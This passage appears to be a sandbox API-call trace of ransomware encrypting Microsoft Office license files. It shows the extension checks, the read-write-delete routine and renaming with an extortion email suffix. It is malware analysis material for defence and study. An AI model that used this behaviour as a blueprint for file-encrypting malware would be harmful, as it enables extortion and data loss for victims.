liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.052] SetEndOfFile (hFile=0x478) returned 1 [0216.055] CloseHandle (hObject=0x478) returned 1 [0216.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul-oob.xrm-ms")) returned 1 [0216.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0216.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0216.057] lstrlenW (lpString=".doc") returned 4 [0216.057] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.057] lstrlenW (lpString=".docx") returned 5 [0216.057] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.057] lstrlenW (lpString=".pdf") returned 4 [0216.057] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.057] lstrlenW (lpString=".xls") returned 4 [0216.057] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.057] lstrlenW (lpString=".xlsx") returned 5 [0216.057] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.057] lstrlenW (lpString=".ppt") returned 4 [0216.057] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0216.057] lstrlenW (lpString=".zip") returned 4 [0216.057] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.057] lstrlenW (lpString=".rar") returned 4 [0216.057] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.057] lstrlenW (lpString=".bz2") returned 4 [0216.057] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.057] lstrlenW (lpString=".7z") returned 3 [0216.057] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0216.057] lstrlenW (lpString=".dbf") returned 4 [0216.057] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0216.057] lstrlenW (lpString=".1cd") returned 4 [0216.057] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0216.057] lstrlenW (lpString=".jpg") returned 4 [0216.057] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0216.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0216.057] lstrlenW (lpString=".doc") returned 4 [0216.058] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.058] lstrlenW (lpString=".docx") returned 5 [0216.058] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.058] lstrlenW (lpString=".pdf") returned 4 [0216.058] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.058] lstrlenW (lpString=".xls") returned 4 [0216.058] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.058] lstrlenW (lpString=".xlsx") returned 5 [0216.058] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.058] lstrlenW (lpString=".ppt") returned 4 [0216.058] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0216.058] lstrlenW (lpString=".zip") returned 4 [0216.058] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.058] lstrlenW (lpString=".rar") returned 4 [0216.058] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.058] lstrlenW (lpString=".bz2") returned 4 [0216.058] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.058] lstrlenW (lpString=".7z") returned 3 [0216.058] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0216.058] lstrlenW (lpString=".dbf") returned 4 [0216.058] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0216.058] lstrlenW (lpString=".1cd") returned 4 [0216.058] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0216.058] lstrlenW (lpString=".jpg") returned 4 [0216.058] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.058] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.059] lstrlenW (lpString="ProjectProVL_KMS_Client-ul.xrm-ms") returned 33 [0216.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.059] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=9626) returned 1 [0216.059] CloseHandle (hObject=0x478) returned 1 [0216.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul.xrm-ms")) returned 0x220 [0216.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.060] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.060] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0216.061] GetLastError () returned 0x0 [0216.061] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x259a, lpOverlapped=0x0) returned 1 [0216.350] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x25a0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x25a0, lpOverlapped=0x0) returned 1 [0216.351] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0216.352] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x116, lpOverlapped=0x0) returned 1 [0216.352] SetEndOfFile (hFile=0x3bc) returned 1 [0216.352] CloseHandle (hObject=0x3bc) returned 1 [0216.352] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.352] SetEndOfFile (hFile=0x478) returned 1 [0216.355] CloseHandle (hObject=0x478) returned 1 [0216.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul.xrm-ms")) returned 1 [0216.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms") returned 83 [0216.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms") returned 83 [0216.357] lstrlenW (lpString=".doc") returned 4 [0216.357] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.357] lstrlenW (lpString=".docx") returned 5 [0216.357] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.357] lstrlenW (lpString=".pdf") returned 4 [0216.357] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.357] lstrlenW (lpString=".xls") returned 4 [0216.357] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.357] lstrlenW (lpString=".xlsx") returned 5 [0216.357] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.357] lstrlenW (lpString=".ppt") returned 4 [0216.357] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms") returned 83 [0216.357] lstrlenW (lpString=".zip") returned 4 [0216.357] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.357] lstrlenW (lpString=".rar") returned 4 [0216.357] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.357] lstrlenW (lpString=".bz2") returned 4 [0216.357] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.357] lstrlenW (lpString=".7z") returned 3 [0216.357] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms") returned 83 [0216.357] lstrlenW (lpString=".dbf") returned 4 [0216.357] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms") returned 83 [0216.357] lstrlenW (lpString=".1cd") returned 4 [0216.358] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms") returned 83 [0216.358] lstrlenW (lpString=".jpg") returned 4 [0216.358] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms") returned 83 [0216.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms") returned 83 [0216.358] lstrlenW (lpString=".doc") returned 4 [0216.358] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.358] lstrlenW (lpString=".docx") returned 5 [0216.358] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.358] lstrlenW (lpString=".pdf") returned 4 [0216.358] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.358] lstrlenW (lpString=".xls") returned 4 [0216.358] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.358] lstrlenW (lpString=".xlsx") returned 5 [0216.358] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.358] lstrlenW (lpString=".ppt") returned 4 [0216.358] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms") returned 83 [0216.358] lstrlenW (lpString=".zip") returned 4 [0216.358] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.358] lstrlenW (lpString=".rar") returned 4 [0216.358] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.358] lstrlenW (lpString=".bz2") returned 4 [0216.358] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.358] lstrlenW (lpString=".7z") returned 3 [0216.358] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms") returned 83 [0216.358] lstrlenW (lpString=".dbf") returned 4 [0216.358] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms") returned 83 [0216.358] lstrlenW (lpString=".1cd") returned 4 [0216.358] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms") returned 83 [0216.359] lstrlenW (lpString=".jpg") returned 4 [0216.359] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.359] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.359] lstrlenW (lpString="ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 35 [0216.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.359] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20850) returned 1 [0216.359] CloseHandle (hObject=0x478) returned 1 [0216.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ppd.xrm-ms")) returned 0x220 [0216.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.360] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.360] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0216.361] GetLastError () returned 0x0 [0216.361] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5172, lpOverlapped=0x0) returned 1 [0216.363] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5180, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5180, lpOverlapped=0x0) returned 1 [0216.364] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0216.364] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11a, lpOverlapped=0x0) returned 1 [0216.364] SetEndOfFile (hFile=0x3bc) returned 1 [0216.365] CloseHandle (hObject=0x3bc) returned 1 [0216.365] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.365] SetEndOfFile (hFile=0x478) returned 1 [0216.368] CloseHandle (hObject=0x478) returned 1 [0216.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ppd.xrm-ms")) returned 1 [0216.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 85 [0216.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 85 [0216.369] lstrlenW (lpString=".doc") returned 4 [0216.369] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.369] lstrlenW (lpString=".docx") returned 5 [0216.369] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.369] lstrlenW (lpString=".pdf") returned 4 [0216.369] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.369] lstrlenW (lpString=".xls") returned 4 [0216.369] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.369] lstrlenW (lpString=".xlsx") returned 5 [0216.369] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.369] lstrlenW (lpString=".ppt") returned 4 [0216.369] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 85 [0216.369] lstrlenW (lpString=".zip") returned 4 [0216.369] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.369] lstrlenW (lpString=".rar") returned 4 [0216.370] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.370] lstrlenW (lpString=".bz2") returned 4 [0216.370] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.370] lstrlenW (lpString=".7z") returned 3 [0216.370] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 85 [0216.370] lstrlenW (lpString=".dbf") returned 4 [0216.370] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 85 [0216.370] lstrlenW (lpString=".1cd") returned 4 [0216.370] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 85 [0216.370] lstrlenW (lpString=".jpg") returned 4 [0216.370] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 85 [0216.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 85 [0216.370] lstrlenW (lpString=".doc") returned 4 [0216.370] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.370] lstrlenW (lpString=".docx") returned 5 [0216.370] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.370] lstrlenW (lpString=".pdf") returned 4 [0216.370] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.370] lstrlenW (lpString=".xls") returned 4 [0216.370] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.370] lstrlenW (lpString=".xlsx") returned 5 [0216.370] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.370] lstrlenW (lpString=".ppt") returned 4 [0216.370] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 85 [0216.370] lstrlenW (lpString=".zip") returned 4 [0216.370] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.370] lstrlenW (lpString=".rar") returned 4 [0216.371] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.371] lstrlenW (lpString=".bz2") returned 4 [0216.371] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.371] lstrlenW (lpString=".7z") returned 3 [0216.371] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 85 [0216.371] lstrlenW (lpString=".dbf") returned 4 [0216.371] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 85 [0216.371] lstrlenW (lpString=".1cd") returned 4 [0216.371] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms") returned 85 [0216.371] lstrlenW (lpString=".jpg") returned 4 [0216.371] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.371] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.371] lstrlenW (lpString="ProjectStdCO365R_SubTest-ul-oob.xrm-ms") returned 38 [0216.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.372] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11633) returned 1 [0216.372] CloseHandle (hObject=0x478) returned 1 [0216.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ul-oob.xrm-ms")) returned 0x220 [0216.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.372] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.372] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0216.373] GetLastError () returned 0x0 [0216.373] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d71, lpOverlapped=0x0) returned 1 [0216.375] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33bfc94, 